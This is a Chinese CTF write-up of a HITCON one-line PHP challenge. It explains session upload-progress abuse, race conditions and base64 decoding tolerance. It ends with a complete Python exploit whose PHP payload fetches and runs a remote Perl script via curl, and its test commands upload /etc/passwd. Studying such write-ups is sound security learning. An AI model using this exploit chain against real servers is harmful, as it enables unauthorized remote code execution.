前段时间打了个神仙比赛,全程挂机,tqltql 这里记录一下复现好吧 题目很简单,就一行 这题看过去没有什么头绪,后来看到wp才知道原来是考session的漏洞。
session的问题
php检查session是否要处理是通过session.auto_start或者session_start(),但是默认情况下session.auto_start的Off的,而代码如果没有session_start()也是没有开启session的,但是如果用PHP_SESSION_UPLOAD_PROGRESS在多部分POST数据里就可以开启session了 这里我建了个php文件去测试,我在html文件夹下放了一个123.php,里面什么代码都没有,然后在linux shell里面输入下面的语句
1 2 3 4 5 6 7 8 9
$ curl http: //vps_ip/ 123 .php -H 'Cookie: PHPSESSID=hhh' $ ls -a /var/lib /php /sessions . .. $ curl http: //vps_ip/ 123 .php -H 'Cookie: PHPSESSID=hhh' -d 'PHP_SESSION_UPLOAD_PROGRESS=blabalbal' $ ls -a /var/lib /php /sessions . .. $ curl http: //vps_ip/ 123 .php -H 'Cookie: PHPSESSID=hhh' -F 'PHP_SESSION_UPLOAD_PROGRESS=blabalbal' -F 'file=@/etc/passwd' $ ls -a /var/lib /php /sessions . .. sess_hhh
可以看到,确实是有一个session是hhh。
session会被清除的问题
但是这里还有个问题,我们在自己的Linux上测试是可以保存了session文件的,但是hitcon可不可以保存session文件呢 开发手册可以看见,cleanup默认是开启的,所以我们想将session文件保留下来,就要用到条件竞争,或者上传一个很大的文件去一直保留进度,让session一直存活。
session的利用
好了,到了现在,我们可以保证session里面肯定是有一个文件是我们自己上传进去的了,现在我们来看下那个文件 好的,upload_progress后面的是可控的,但是还有一个问题,我们想要去掉前面的upload_progress怎么办呢,这里就要用到base64的容错了
base64容错利用
我们知道,base64只会解密[a-zA-Z0-9],但是,如果里面有不合法的字符的时候,他还是可以把正确的字符连接在一起去进行加密的 举个栗子 看个代码
1 2 3 4 5 6 7 8 9 10 11 12
$i = 0 ; $data = "upload_progress_ZZ" ; while (true ){ $i += 1 ; $data = base64_decode($data); var_dump($data); echo '<br>' ; if ($data == '' ){ echo "解密次数: " .$i."\n" ; break ; } }
可以看见,加了两个字母以后,upload_progress在经过三次解密后就没有了,所以我们想改掉前缀只需要对信息base64加密三次传输就行了 最后给个orange师傅的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
import sysimport stringimport requestsfrom base64 import b64encodefrom random import sample, randintfrom multiprocessing.dummy import Pool as ThreadPoolHOST = 'http://54.250.246.238/' sess_name = 'iamorange' headers = { 'Connection' : 'close' , 'Cookie' : 'PHPSESSID=' + sess_name } payload = '@<?php `curl orange.tw/w/bc.pl|perl -`;?>' while 1 : junk = '' .join(sample(string.ascii_letters, randint(8 , 16 ))) x = b64encode(payload + junk) xx = b64encode(b64encode(payload + junk)) xxx = b64encode(b64encode(b64encode(payload + junk))) if '=' not in x and '=' not in xx and '=' not in xxx: payload = xxx print payload break def runner1 (i) : data = { 'PHP_SESSION_UPLOAD_PROGRESS' : 'ZZ' + payload + 'Z' } while 1 : fp = open('/etc/passwd' , 'rb' ) r = requests.post(HOST, files={'f' : fp}, data=data, headers=headers) fp.close() def runner2 (i) : filename = '/var/lib/php/sessions/sess_' + sess_name filename = 'php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s' % filename while 1 : url = '%s?orange=%s' % (HOST, filename) r = requests.get(url, headers=headers) c = r.content if c and 'orange' not in c: print [c] if sys.argv[0 ] == '1' : runner = runner1 else : runner = runner2 pool = ThreadPool(32 ) result = pool.map_async( runner, range(32 ) ).get(0xffff )
好了好了,总的来说这题考了条件竞争,session漏洞,base64容错机制,溜了溜了
评论